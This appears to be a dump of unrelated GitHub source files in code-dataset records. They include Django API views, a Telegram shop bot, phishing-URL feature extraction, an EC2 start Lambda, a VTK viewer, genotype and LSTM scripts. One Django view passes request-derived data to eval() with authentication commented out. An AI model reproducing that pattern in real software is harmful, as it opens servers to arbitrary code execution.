#permission_classes = (IsAuthenticated,)\n queryset = timefhumanRequestResponse.objects.all()\n serializer_class = tfRequestResponseSerializer\n\n def create(self, request):\n serializer = tfRequestResponseSerializer(data=request.data)\n\n if serializer.is_valid():\n serializer.save()\n\n ds = serializer.data['detected_date_response']\n\n if ds!=\"\":\n message = \"Booking a meeting appointment on \" + ds[24:26] + \"/\" + ds[17:19] + \"/\" + ds[6:10] + \" at \" + ds[32:34] + \":\" + ds[43:45] + \" \" + request.data['timezone']\n else:\n message = \"timefhuman failed to detect date!!\"\n\n data_sent = {\n \"entries\":[\n {\n \"template_type\":\"message\",\n \"message\":message,\n \"full_width\" : False,\n \"text_color\" : '#484848',\n \"background_color\": '#f5f5f5',\n \"script\": 'console.log(\"hello\")',\n }\n ]\n }\n\n return Response(data_sent)\n\n return Response({\"status\":\"Bad Request\"})\n\nclass spRequestResponseViewSet(viewsets.ModelViewSet):\n queryset = spacyRequestResponse.objects.all()\n serializer_class = spRequestResponseSerializer\n\n def create(self, request):\n serializer = spRequestResponseSerializer(data=request.data)\n\n if serializer.is_valid():\n serializer.save()\n\n ds = serializer.data['entity_detect_response']\n\n av=[]\n\n for key,value in eval(ds).items():\n av.append({\"attribute\":\"request_\" + value.lower(),\"value\":key})\n\n data_sent = {\n \"entries\":[\n {\n \"template_type\":\"set_attr\",\n \"attributes\":av\n }\n ]\n }\n\n return Response(data_sent)\n\n return Response({\"status\":\"Bad Request\"})\n\n\"\"\"class dkRequestResponseViewSet(viewsets.ModelViewSet):\n queryset = ducklingRequestResponse.objects.all()\n serializer_class = dkRequestResponseSerializer\n\n def create(self, request):\n serializer = dkRequestResponseSerializer(data=request.data)\n\n if serializer.is_valid():\n serializer.save()\n\n ds = serializer.data['duckling_response']\n\n message = ds\n\n data_sent = {\n \"entries\":[\n {\n \"template_type\":\"message\",\n \"message\":message,\n \"full_width\" : False,\n \"text_color\" : '#484848',\n \"background_color\": '#f5f5f5',\n \"script\": 'console.log(\"hello\")',\n }\n ]\n }\n\n return Response(data_sent)\n\n return Response({\"status\":\"Bad Request\"})\"\"\"\n","repo_name":"ergauravsoni/task1-API","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34202122944","text":"import sys\ninput = sys.stdin.readline\n\nn = int(input())\nnums = list(map(int, input().split()))\nans = 0\n\nfor num in nums:\n if num == 1:\n continue\n for i in range(2, num):\n if not num%i:\n break\n else:\n ans += 1\n\nprint(ans) ","repo_name":"danidanicarrotcarrot/algorithm","sub_path":"solved.ac/class2++/1978_소수찾기.py","file_name":"1978_소수찾기.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34785188426","text":"import telebot\nfrom telebot import types\n\n#BOT\nnome = 'brainpro_telegram_bot'\nsaudacao = \"Olá, seja bem - vindo (a) ao Canal da Brainpro no Telegram! Somos especialistas em proporcionar soluções de tecnologia através da venda de produtos de Realidade Virtual e equipamentos de informática. Então falaremos muito sobre esse universo por aqui, esperamos que goste! 🧠\"\n\n#DADOS\nretorno={ \n \"retorno\":{ \n \"produtos\":[ \n {\n \"produto\":{ \n \"codigo\":\"001\",\n \"descricao\":\"RX 550 4GB GDDR5 128 BITS SINGLE-FAN\",\n \"preco\":\"2253.1000000000\",\n \"marca\":\"AMD Radeon\",\n \"imagem\":[\n {\n \"link\": \"https://cdn.awsli.com.br/1000x1000/1628/1628166/produto/122163329/c0ba90a69c.jpg\",\n }],\n \"estoqueAtual\":2,\n }\n },{\n \"produto\":{ \n \"codigo\":\"002\",\n \"descricao\":\"RX 560 4GB GDDR5 128 BITS\",\n \"preco\":\"2024.0000000000\",\n \"marca\":\"AMD Radeon\",\n \"imagem\":[\n {\n \"link\": \"https://cdn.awsli.com.br/1000x1000/1628/1628166/produto/122162448/1fdaad202b.jpg\",\n }],\n \"estoqueAtual\":3,\n }\n },{\n \"produto\":{ \n \"codigo\":\"003\",\n \"descricao\":\"RTX 3060 TI 8GB GDDR6 256 BITS\",\n \"preco\":\"9649.0000000000\",\n \"marca\":\"NVIDIA GeForce\",\n \"imagem\":[\n {\n \"link\": \"https://cdn.awsli.com.br/1000x1000/1628/1628166/produto/118794486/42240f583b.jpg\",\n }],\n \"estoqueAtual\":1,\n }\n }\n ]\n }\n}\n\ndef markup_vazio():\n return types.ReplyKeyboardRemove()\n\ndef markup_site():\n \"\"\"Retorna um botão um com o link da loja.\"\"\"\n keyboard = [\n [\n types.InlineKeyboardButton(\"Brainpro Tecnologia\",url='www.brainpro.com.br'),\n ]\n ]\n return types.InlineKeyboardMarkup(keyboard)\n\ndef markup_saudacao():\n \"\"\"Retorna as opções primárias de categorias.\"\"\"\n markup = types.ReplyKeyboardMarkup(row_width=3)\n markup.add(\n types.KeyboardButton('Produtos'),\n types.KeyboardButton('Serviços'),\n types.KeyboardButton('Oportunidades')\n )\n return markup\n\ndef markup_categorias_produto():\n \"\"\"Retorna as categorias de produtos.\"\"\"\n markup = types.ReplyKeyboardMarkup(row_width=3)\n markup.add(\n types.KeyboardButton('Placa de video'),\n types.KeyboardButton('Monitor'),\n types.KeyboardButton('Periféricos')\n )\n return markup\n\n","repo_name":"FernandoHRocha/brainpro_telegram_bot","sub_path":"recursos.py","file_name":"recursos.py","file_ext":"py","file_size_in_byte":2684,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7496833041","text":"import csv\nimport json\nimport os\n\nfrom collections import Counter\nfrom urllib.parse import urlparse\n\nbase = os.path.abspath(os.path.join(__file__, \"../../..\"))\n\ndef retrieve_file_extension(path: str):\n path_frags = path.split('/')\n file_portion = path_frags[-1]\n if not '.' in file_portion:\n return None\n else:\n file_extension = file_portion.split('.')[-1]\n return file_extension\n\ndef setup_probabilities(): \n\n phish_url_data = os.path.join(base, 'Datasets\\\\external\\\\retrieved_phish_urls.txt')\n legit_url_data = os.path.join(base, 'Datasets\\\\external\\\\Benign_list_big_final.csv')\n\n total = 0\n file_extension_counts = Counter({'none': 0})\n\n with open(phish_url_data, 'r', encoding='utf8') as phish_file:\n for line in phish_file:\n url = urlparse(line)\n possible_path = retrieve_file_extension(url.path)\n if possible_path is None:\n file_extension_counts['none'] += 1\n else:\n if possible_path in file_extension_counts:\n file_extension_counts[possible_path] += 1\n else:\n file_extension_counts[possible_path] = 1\n total += 1\n\n with open(legit_url_data, 'r', encoding=\"utf8\") as legit_file:\n csvreader = csv.reader(legit_file)\n\n for row in csvreader:\n url = urlparse(row[0])\n possible_path = retrieve_file_extension(url.path)\n if possible_path is None:\n file_extension_counts['none'] += 1\n else:\n if possible_path in file_extension_counts:\n file_extension_counts[possible_path] += 1\n else:\n file_extension_counts[possible_path] = 1\n total += 1\n\n probability_dict = dict()\n for key, value in file_extension_counts.items():\n probability_dict[key] = value / total\n\n with open(os.path.join(base, 'Datasets\\\\file_probabilities.json'), 'w') as fp:\n json.dump(probability_dict, fp)\n \n\nif __name__ == \"__main__\":\n setup_probabilities()","repo_name":"ArmandSyah/SEG3904-Project---Phishing-Domain-Detection","sub_path":"src/data/make_data.py","file_name":"make_data.py","file_ext":"py","file_size_in_byte":2098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17828854125","text":"def startEC2(): \n print(\"starting ec2s daily at 8am\")\n # Get list of regions\n regions = [region['RegionName']\n for region in ec2_client.describe_regions()['Regions']]\n\n # Iterate over each region\n for region in regions:\n ec2 = boto3.resource('ec2', region_name=region)\n\n print(\"Region:\", region)\n\n # Get only running instances\n instances = ec2.instances.filter(\n Filters=[{'Name': 'instance-state-name',\n 'Values': ['stopped']}])\n\n # Stop the instances\n for instance in instances:\n instance.start()\n print('Started instance: ', instance.id)\n \nstartEC2()\n","repo_name":"sprintqaDevOps/AWS","sub_path":"awsLambda/ec2DailyStart.py","file_name":"ec2DailyStart.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"30807883545","text":"import vtk\nfrom vtk.util import numpy_support\nfrom vtk.qt.QVTKRenderWindowInteractor import QVTKRenderWindowInteractor\n\nclass Model3D():\n def __init__(self, mri_data = None):\n self.image, self.model = self.generate_model3D(mri_data)\n self.iren = None\n self.renderer = None\n\n def generate_model3D(self, mri_data):\n '''Reconstrucion image to 3d model via marching cubes alghoritm'''\n vtk_array = numpy_support.numpy_to_vtk(num_array=mri_data.transpose(2, 1, 0).ravel(),deep=True,array_type=vtk.VTK_FLOAT)\n image = vtk.vtkImageData()\n image.SetDimensions(mri_data.shape)\n image.SetSpacing(1,1,1)\n image.GetPointData().SetScalars(vtk_array)\n\n model = vtk.vtkMarchingCubes()\n model.SetInputData(image)\n model.SetValue(0,1)\n\n return image, model\n\n def setup_render_window(self, frame, layout):\n '''Initial setting VTK window'''\n vtkWidget = QVTKRenderWindowInteractor(frame)\n layout.addWidget(vtkWidget)\n self.renderer = vtk.vtkRenderer()\n self.renderer.SetBackground(0.2, 0.2,0.2)\n vtkWidget.GetRenderWindow().AddRenderer(self.renderer)\n self.iren = vtkWidget.GetRenderWindow().GetInteractor()\n style = vtk.vtkInteractorStyleTrackballCamera()\n self.iren.SetInteractorStyle(style)\n\n mapper = vtk.vtkPolyDataMapper()\n mapper.SetInputConnection(self.model.GetOutputPort())\n mapper.ScalarVisibilityOff()\n self.actor = vtk.vtkActor()\n self.actor.SetMapper(mapper)\n self.renderer.AddActor(self.actor)\n self.renderer.ResetCamera()\n cam1 = self.renderer.GetActiveCamera()\n cam1.Elevation(110)\n cam1.SetViewUp(0, 0, 1)\n cam1.Azimuth(45)\n self.renderer.ResetCameraClippingRange()\n self.iren.Initialize()\n\n self.plane_widget = vtk.vtkImagePlaneWidget()\n self.plane_widget.SetInteractor(self.iren)\n self.plane_widget.SetInputData(self.image)\n self.plane_widget.PlaceWidget()\n self.plane_widget.SetPlaneOrientationToZAxes()\n self.plane_widget.SetSliceIndex(180)\n\n def preview_model(self):\n '''Return to view of 3d model'''\n self.renderer.AddActor(self.actor)\n self.iren.Initialize()\n\n def reset_window(self):\n '''Clear window '''\n self.plane_widget.Off()\n self.renderer.RemoveAllViewProps()\n self.iren.Initialize()\n\n def cut_model(self, plane_mode=False):\n '''Cut model with intersection plane defining by user'''\n plane = vtk.vtkPlane()\n plane.SetNormal(self.plane_widget.GetNormal())\n plane.SetOrigin(self.plane_widget.GetCenter())\n clipper = vtk.vtkClipPolyData()\n clipper.SetInputConnection(self.model.GetOutputPort())\n clipper.SetClipFunction(plane)\n clipper.InsideOutOn()\n clip_mapper = vtk.vtkPolyDataMapper()\n clip_mapper.SetInputConnection(clipper.GetOutputPort())\n clip_mapper.ScalarVisibilityOff()\n clip_actor = vtk.vtkActor()\n clip_actor.SetMapper(clip_mapper)\n\n if plane_mode:\n self.plane_widget.TextureVisibilityOn()\n clip_actor.GetProperty().SetOpacity(0.1)\n else:\n self.plane_widget.TextureVisibilityOff()\n self.renderer.AddActor(clip_actor)\n self.plane_widget.On()\n textActor = vtk.vtkTextActor()\n textActor.GetTextProperty().SetFontSize (20)\n textActor.GetTextProperty().SetColor( 1, 1, 1)\n text = self.getPlaneInfo(self.plane_widget)\n textActor.SetInput(text)\n self.renderer.AddActor2D(textActor)\n\n def detect_plane_intersection(obj, event):\n plane.SetNormal(obj.GetNormal())\n plane.SetOrigin(obj.GetCenter())\n text = self.getPlaneInfo(obj)\n textActor.SetInput(text)\n\n self.plane_widget.AddObserver(\"InteractionEvent\", detect_plane_intersection)\n \n\n self.iren.Initialize()\n \n def getPlaneInfo(self, plane):\n normal_vector = str(plane.GetNormal())\n normal_vector = normal_vector[1:-1].split(',')\n normal_vector = [round(float(x),2) for x in normal_vector]\n center_vector = str(plane.GetCenter())\n center_vector = center_vector[1:-1].split(',')\n center_vector = [round(float(x),2) for x in center_vector]\n text = 'Intersection plane\\'s normal vector ' + str(normal_vector) +'\\nIntersection plane\\'s center ' + str(center_vector)\n return text\n\n","repo_name":"dadmsimens/dadm-codes","sub_path":"core/inc/module11_model3D.py","file_name":"module11_model3D.py","file_ext":"py","file_size_in_byte":4528,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"42082477769","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name='webpageshot',\n version='0.2',\n description='take screenshot of webpage ',\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n author='Zhongqiang Shen',\n author_email='shenzhongqiang@msn.com',\n url='https://github.com/pythonml/webpageshot',\n packages=setuptools.find_packages(),\n install_requires=['selenium>=3.12.0'],\n classifiers=(\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ),\n entry_points={\n 'console_scripts': [\n 'webpageshot=webpageshot:main'\n ],\n },\n)\n","repo_name":"pythonml/webpageshot","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2367196722","text":"'''Crude approximate posterior distribution used for initial choice of\nmost informative peaks on each strand for each site/sample pair.'''\n\nimport scipy, scipy.stats, cPickle, os\n\nfrom Dirichlet import Dirichlet\nfrom sequences import reverse_complement\nfrom Peak import binlocs, Peak\nfrom datadir import datadir\n\n# Get the ENCODE genotype frequencies\nnullpath = os.path.join(datadir, 'genotype_frequencies.pickle')\nnullprobs = cPickle.load(open(nullpath))\n\n# Single-peak probabilities\n\n# ...generated by encode_hapmap_concordances_full_counts.py\nallcounts = cPickle.load(open(os.path.join(datadir, 'raw_counts.pickle')))\n\n# Collect these counts into bins\nscorebins = scipy.array([0]+list(reversed(range(60, 10, -10))))\nnscores = len(scorebins)\nbinlocs = scipy.zeros(69)\nfor binidx, (start, end) in enumerate(\n zip(scorebins, list(scorebins[1:])+[len(binlocs)])):\n for score in range(start, end):\n binlocs[score] = binidx\n\nnukes = 'ACGT'\n# List of possible genotypes\npcalls = sorted(set(n1+n2 for n1 in nukes for n2 in nukes\n if n1 <= n2))\ncallidxs = dict((g, i) for i, g in enumerate(pcalls))\n# Map to reverse complements\nrevcalls = [''.join(sorted(reverse_complement(n)))\n for n in pcalls]\n# List of possible observed peaks\nppeaks=sorted(set(nukes).union(set(g for g in pcalls if g[0] != g[1])))\npeakidxs = dict((p, i) for i, p in enumerate(ppeaks))\nrevpeaks = [''.join(sorted(reverse_complement(n)))\n for n in ppeaks]\n\n# Pseudocounts for score bins, given an actual genotype and the\n# observed peaks. Structure is {actual: {observed: [scores]}}\nscorepseudos = dict(\n (g, dict((p, scipy.ones((nscores,)*len(p),'i'))\n for p in ppeaks))\n for g in pcalls)\n# Pseudocounts for observed peaks, given an actual genotype.\npeakpseudos = dict((g, scipy.ones(len(ppeaks), 'i')) for g in pcalls)\n\nfor genotype, counts in allcounts.items():\n for peaks, pcount in counts.items():\n peaknukes, peakscores = peaks[0], peaks[1:]\n # If it's \"homozygous\", just make it the single peak\n peaknukes = ''.join(sorted(set(peaknukes)))\n if len(set(genotype)) > len(peaknukes):\n # A heterozygous site turning into a single peak. This\n # confounds the statistics, so remove it.\n continue\n peakpseudos[genotype][peakidxs[peaknukes]] += pcount\n peakbins = tuple(binlocs[score] for score in peakscores)\n scorepseudos[genotype][peaknukes][peakbins] += pcount\n\nclass PeakModel:\n\n \"\"\"Representation of the probability model for observed peaks\n given actual genotypes. On instantiation, probabilities are\n sampled from the pseudocounts just computed.\"\"\"\n\n scorepseudos = dict(\n (g, dict((p, Dirichlet(c.flatten()))\n for p, c in peaks.items()))\n for g, peaks in scorepseudos.items())\n peakpseudos = dict((g, Dirichlet(c))\n for g, c in peakpseudos.items())\n\n def __init__(self, genprior=nullprobs):\n self.genprior = genprior\n self.scoreprobs = {}\n for genotype, peakpriors in self.scorepseudos.items():\n self.scoreprobs[genotype] = cprobs = {}\n for peaks, prior in peakpriors.items():\n # At some point, may want to actually sample here.\n # There are tonnes of data in the calls I'm making,\n # after all.\n probs = prior.mean()\n dim = 1 if len(probs) == nscores else 2\n cprobs[peaks] = scipy.reshape(\n probs, (nscores,)*dim)\n self.peakprobs = dict(\n (g, p.mean()) for g, p in self.peakpseudos.items())\n self.posteriors = {}\n for peaks in ppeaks:\n peakidx = peakidxs[peaks]\n dim = len(peaks)\n self.posteriors[peaks] = scipy.zeros(\n dim*(nscores,) + (len(pcalls),), 'f')\n indxs=zip(*[i.flatten() for i in scipy.indices((6,)*dim)])\n for binidx in indxs:\n total = 0\n for gi, g in enumerate(pcalls):\n prob = (self.genprior[g]*\n self.peakprobs[g][peakidx]*\n self.scoreprobs[g][peaks][binidx])\n self.posteriors[peaks][binidx][gi] = prob\n total += prob\n assert total != 0\n self.posteriors[peaks][binidx] /= total\n\npeakposteriors = PeakModel().posteriors\n\nclass PostPeak(Peak):\n\n def gendist(self):\n return peakposteriors[self.peaks][self.bin]\n\n# Memoize the score/call relationship\nbytescores = [PostPeak(byte=byte) for byte in xrange(240)]\nrawscores = dict(\n ((c.peaks, c.bin), byte) for byte, c in enumerate(bytescores))\n# Memoize which bytes correspond to reverse complements\nrevscores = scipy.zeros(240, 'B')\nfor byte, score in enumerate(bytescores):\n if score.double:\n score = sorted(zip(map(reverse_complement, score.peaks),\n score.bin))\n revscores[byte] = rawscores[''.join(t[0] for t in score),\n tuple(t[1] for t in score)]\n else:\n revscores[byte] = rawscores[reverse_complement(score.peaks),\n score.bin]\n\ndists = scipy.array([s.gendist() for s in bytescores])\nentropies = scipy.array(map(scipy.stats.entropy, dists))\ncolents = scipy.array([entropies]*len(bytescores))\nrowents = scipy.transpose(colents)\n\n# Memo of the most informative scores for each pair\n# Zero means the first, one means the second\ninfomemo = scipy.argmin(scipy.array([rowents, colents]), 0)\n\ndef choose_best(*bytes):\n \"\"\"Choose the score with the most information content, given the\n posteriors computed above.\"\"\"\n if 255 in bytes:\n # One of the peaks is undefined, return the other by default\n return min(bytes)\n return bytes[infomemo[bytes]]\n","repo_name":"coventry/snppns","sub_path":"python/SNPPosterior.py","file_name":"SNPPosterior.py","file_ext":"py","file_size_in_byte":5927,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"16299753221","text":"# depan = \"rifandi\"\n# belakang = \"winarya\"\n# full = f\"{depan} {belakang}\"\n# print(full)\n\nfrom datetime import datetime\n\ntoday = datetime.now()\n\ndate_time = today.strftime(\"%Y-%m-%d-%H-%M-%S\")\nprint(date_time)","repo_name":"RifandiWinarya/ProjekPersonalDiaryMBKM","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2805860402","text":"import uuid\n\nfrom django.db import models\n\nfrom exam.models import Exam\n\nclass Question(models.Model):\n\n id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n exam = models.ForeignKey(Exam, on_delete=models.CASCADE)\n description = models.TextField(max_length=2500, null=False, blank=False)\n correct_option = models.UUIDField(blank=True, null=True)\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n\n\n def __str__(self) -> str:\n return f\"\"","repo_name":"olamide142/cbt","sub_path":"question/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23090634011","text":"import numpy as np\r\nimport keras\r\nimport os\r\nimport pandas as pd\r\nimport logging\r\nimport h5py\r\nimport tensorflow as tf\r\nimport pickle\r\nfrom keras.layers.wrappers import Bidirectional, TimeDistributed\r\nimport gensim\r\nfrom copy import deepcopy\r\nfrom keras.utils import to_categorical\r\nfrom collections import defaultdict\r\nfrom keras.models import Model\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom keras.preprocessing.sequence import pad_sequences\r\n# from sklearn.cross_validation import train_test_split\r\nfrom sklearn.model_selection import train_test_split\r\nfrom keras.models import Sequential\r\nfrom keras.layers.merge import Concatenate\r\nfrom keras.preprocessing import sequence\r\nfrom keras import backend as K\r\nfrom keras.layers.core import Dense, Dropout, Activation, Lambda\r\nfrom keras.layers import Dense, Input, Lambda, merge, dot, Subtract\r\nfrom keras.layers.embeddings import Embedding\r\nfrom keras.layers import Bidirectional, Flatten, CuDNNGRU, Input, SpatialDropout1D\r\nfrom keras.layers.recurrent import LSTM, GRU\r\nfrom keras.layers.convolutional import Convolution1D, MaxPooling1D\r\nimport matplotlib.pyplot as plt\r\nfrom Capsule_net import Capsule\r\nfrom Attention_layer import AttentionM\r\nfrom datetime import datetime\r\nfrom time import time\r\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint, TensorBoard\r\nfrom sklearn.metrics import f1_score, recall_score\r\n\r\nfrom keras.utils import np_utils\r\nfrom MyNormalizer import token\r\n\r\n################# GLOBAL VARIABLES #####################\r\n# Filenames\r\n# TODO: Add to coding conventions that directories are to always end with '/'\r\nMasterdir = 'E:/Sub-word-LSTM(sentimix)/'\r\nDatadir = 'Data/'\r\nModeldir = 'Pretrained_Models/'\r\nFeaturedir = 'Features/'\r\ninputdatasetfilename = 'train.txt'\r\n# testfilename='test.txt'\r\nexp_details = 'coed-mix(word)_gating2'\r\nfilename = 'duallstm_128_subword'\r\n\r\n# Data I/O formatting\r\nSEPERATOR = '\\t'\r\nDATA_COLUMN = 0\r\nLABEL_COLUMN = 1\r\nLABELS = ['0', '1', '2'] # 0 -> Negative, 1-> Neutral, 2-> Positive\r\nmapping_char2num = {}\r\nmapping_num2char = {}\r\nwordMAXLEN = 30\r\ncharMAXLEN = 10\r\n\r\n# LSTM Model Parameters\r\n# Embedding\r\nMAX_FEATURES = 0\r\nchar_embedding_size = 150\r\n# Convolution\r\nfilter_length = 4\r\nnb_filter = 128\r\npool_length = 4\r\n# LSTM\r\nlstm_output_size = 128\r\n# Training\r\nbatch_size = 256\r\nnumber_of_epochs = 100\r\nnumclasses = 3\r\ntest_size = 0.2\r\nnclasses = 3\r\n\r\n########################################################\r\nclass LossHistory(keras.callbacks.Callback):\r\n def on_train_begin(self, logs={}):\r\n self.losses = {'batch': [], 'epoch': []}\r\n self.accuracy = {'batch': [], 'epoch': []}\r\n self.val_loss = {'batch': [], 'epoch': []}\r\n self.val_acc = {'batch': [], 'epoch': []}\r\n\r\n def on_batch_end(self, batch, logs={}):\r\n self.losses['batch'].append(logs.get('loss'))\r\n self.accuracy['batch'].append(logs.get('acc'))\r\n self.val_loss['batch'].append(logs.get('val_loss'))\r\n self.val_acc['batch'].append(logs.get('val_acc'))\r\n\r\n def on_epoch_end(self, batch, logs={}):\r\n self.losses['epoch'].append(logs.get('loss'))\r\n self.accuracy['epoch'].append(logs.get('acc'))\r\n self.val_loss['epoch'].append(logs.get('val_loss'))\r\n self.val_acc['epoch'].append(logs.get('val_acc'))\r\n\r\n def loss_plot(self, loss_type):\r\n iters = range(len(self.losses[loss_type]))\r\n plt.figure()\r\n # acc\r\n plt.plot(iters, self.accuracy[loss_type], 'r', label='train acc')\r\n # loss\r\n plt.plot(iters, self.losses[loss_type], 'g', label='train loss')\r\n if loss_type == 'epoch':\r\n # val_acc\r\n plt.plot(iters, self.val_acc[loss_type], 'b', label='val acc')\r\n # val_loss\r\n plt.plot(iters, self.val_loss[loss_type], 'k', label='val loss')\r\n plt.grid(True)\r\n plt.xlabel(loss_type)\r\n plt.ylabel('acc-loss')\r\n plt.legend(loc=\"upper right\")\r\n plt.show()\r\n\r\n\r\ndef parse(Masterdir, filename, seperator, datacol, labelcol, labels):\r\n \"\"\"\r\n Purpose -> Data I/O\r\n Input -> Data file containing sentences and labels along with the global variables\r\n Output -> Sentences cleaned up in list of lists format along with the labels as a numpy array\r\n \"\"\"\r\n # Reads the files and splits data into individual lines\r\n f = open(Masterdir + Datadir + filename, 'r', encoding='UTF-8')\r\n lines = f.read().lower()\r\n lines = lines.lower().split('\\n')[:-1]\r\n # print(lines)\r\n\r\n X_train = []\r\n Y_train = []\r\n\r\n # Processes individual lines\r\n for line in lines:\r\n # Seperator for the current dataset. Currently '\\t'.\r\n line = line.split(seperator)\r\n # Token is the function which implements basic preprocessing as mentioned in our paper\r\n tokenized_lines = token(line[datacol])\r\n # print(tokenized_lines)\r\n\r\n # Creates character lists\r\n # char_list = []\r\n # sentence = []\r\n # for words in tokenized_lines:\r\n # for char in words:\r\n # char_list.append(char)\r\n # sentence.append(char_list)\r\n # print(sentence)\r\n # # print(char_list) - Debugs the character list created\r\n X_train.append(tokenized_lines)\r\n # print(X_train)\r\n\r\n # Appends labels\r\n if line[labelcol] == labels[0]:\r\n Y_train.append(0)\r\n if line[labelcol] == labels[1]:\r\n Y_train.append(1)\r\n if line[labelcol] == labels[2]:\r\n Y_train.append(2)\r\n\r\n # Converts Y_train to a numpy array\r\n Y_train = np.asarray(Y_train)\r\n # print(Y_train)\r\n\r\n assert (len(X_train) == Y_train.shape[0])\r\n\r\n return [X_train, Y_train]\r\n\r\n\r\ndef char2num(mapping_n2c, mapping_c2n, trainwords, wordmaxlen, charmaxlen):\r\n \"\"\"\r\n Purpose -> Convert characters to integers, a unique value for every character\r\n Input -> Training data (In list of lists format) along with global variables\r\n Output -> Converted training data along with global variables\r\n \"\"\"\r\n\r\n errors = 0\r\n maxlen_char_word = 0\r\n X_train = []\r\n for line in trainwords:\r\n char_list = []\r\n for word in line:\r\n charlist = list(word)\r\n if len(charlist) > maxlen_char_word:\r\n maxlen_char_word = len(char_list)\r\n char_list.append(charlist)\r\n # char_list.append(' ')\r\n # print(char_list)\r\n # print(char_list) - Debugs the character list created\r\n X_train.append(char_list)\r\n print('maxlen_char_word:', maxlen_char_word)\r\n # print(X_train)\r\n # Creates a list of all characters present in the dataset\r\n allchars = []\r\n for line in X_train:\r\n\r\n for word in line:\r\n\r\n # for char in word:\r\n # print(char)\r\n try:\r\n allchars = set(allchars + word)\r\n # print('kj',allchars)\r\n allchars = list(allchars)\r\n except:\r\n errors += 1\r\n\r\n print(errors) # Debugging\r\n print('allcha', allchars) # Debugging\r\n\r\n # Creates character dictionaries for the characters\r\n charno = 0\r\n for char in allchars:\r\n mapping_char2num[char] = charno\r\n mapping_num2char[charno] = char\r\n charno += 1\r\n\r\n assert (len(allchars) == charno) # Checks\r\n\r\n # Converts the data from characters to numbers using dictionaries\r\n X_train1 = []\r\n\r\n for line in X_train:\r\n linelist = []\r\n for word in line:\r\n char_list = []\r\n for char in word:\r\n # print(mapping_char2num[char])\r\n char_list.append(mapping_char2num[char])\r\n # print(char_list)\r\n # char_list=sequence.pad_sequences(np.array(char_list),maxlen=wordmaxlen)\r\n linelist.append(char_list)\r\n # linelist=sequence.pad_sequences(linelist,maxlen=charmaxlen)\r\n # print('kkkk')\r\n # print(linelist)\r\n # print(no) -- Debugs the number mappings\r\n X_train1.append(linelist)\r\n print('XX',X_train1)\r\n # pad_char_all = np.zeros(((17000,30,10)))\r\n pad_char_all=[]\r\n for i,line in enumerate(X_train1):\r\n while len(line) < 30:\r\n line.insert(0, [])\r\n while len(line) >30:\r\n line=line[:30]\r\n # print(len(line))\r\n # print('line',line)\r\n pad_senc =pad_sequences(line, maxlen=10)\r\n pad_senc=pad_senc.tolist()\r\n s=[]\r\n for w in pad_senc:\r\n x = []\r\n for c in w:\r\n x.append(c)\r\n s.append(x)\r\n # print(pad_senc)\r\n # print('padsen',pad_senc.shape)\r\n # pad_char_all[i]=pad_senc\r\n pad_char_all.append(s)\r\n i=0\r\n for line in pad_char_all:\r\n i=i+1\r\n if len(line)!=30:\r\n print(\"**************\")\r\n print(i)\r\n\r\n\r\n\r\n pad_char_all = np.asarray(pad_char_all)\r\n print(pad_char_all.shape)\r\n # print(mapping_char2num)\r\n # print(mapping_num2char)\r\n # Pads the X_train to get a uniform vector\r\n # TODO: Automate the selection instead of manual input\r\n\r\n # X_train1 = sequence.pad_sequences(np.array(X_train1), maxlen=wordmaxlen)\r\n # print('kkkk', pad_char_all)\r\n # # print(np.array(pad_char_all).shape)\r\n # print('xxxx')\r\n charno = charno + 1\r\n maxlen_char=10\r\n return [pad_char_all, mapping_num2char, mapping_char2num, charno, maxlen_char]\r\n\r\n\r\ndef build_data_train_test(data_train, data_test, train_ratio=0.8):\r\n \"\"\"\r\n Loads data and process data into index\r\n \"\"\"\r\n vocab = defaultdict(float)\r\n\r\n # Pre-process train data set\r\n for i in range(len(data_train)):\r\n rev = data_train[i]\r\n orig_rev = ' '.join(rev).lower()\r\n words = set(orig_rev.split())\r\n for word in words:\r\n vocab[word] += 1\r\n\r\n for i in range(len(data_test)):\r\n rev = data_test[i]\r\n orig_rev = ' '.join(rev).lower()\r\n words = set(orig_rev.split())\r\n for word in words:\r\n vocab[word] += 1\r\n\r\n return vocab\r\n\r\n\r\ndef load_bin_vec(model, vocab):\r\n word_vecs = {}\r\n unk_words = 0\r\n\r\n for word in vocab.keys():\r\n try:\r\n word_vec = model[word]\r\n word_vecs[word] = word_vec\r\n except:\r\n unk_words = unk_words + 1\r\n\r\n logging.info('unk words: %d' % (unk_words))\r\n return word_vecs\r\n\r\n\r\ndef get_W(word_vecs, k=300):\r\n vocab_size = len(word_vecs)\r\n word_idx_map = dict()\r\n\r\n W = np.zeros(shape=(vocab_size + 2, k), dtype=np.float32)\r\n W[0] = np.zeros((k,))\r\n W[1] = np.random.uniform(-0.25, 0.25, k)\r\n\r\n 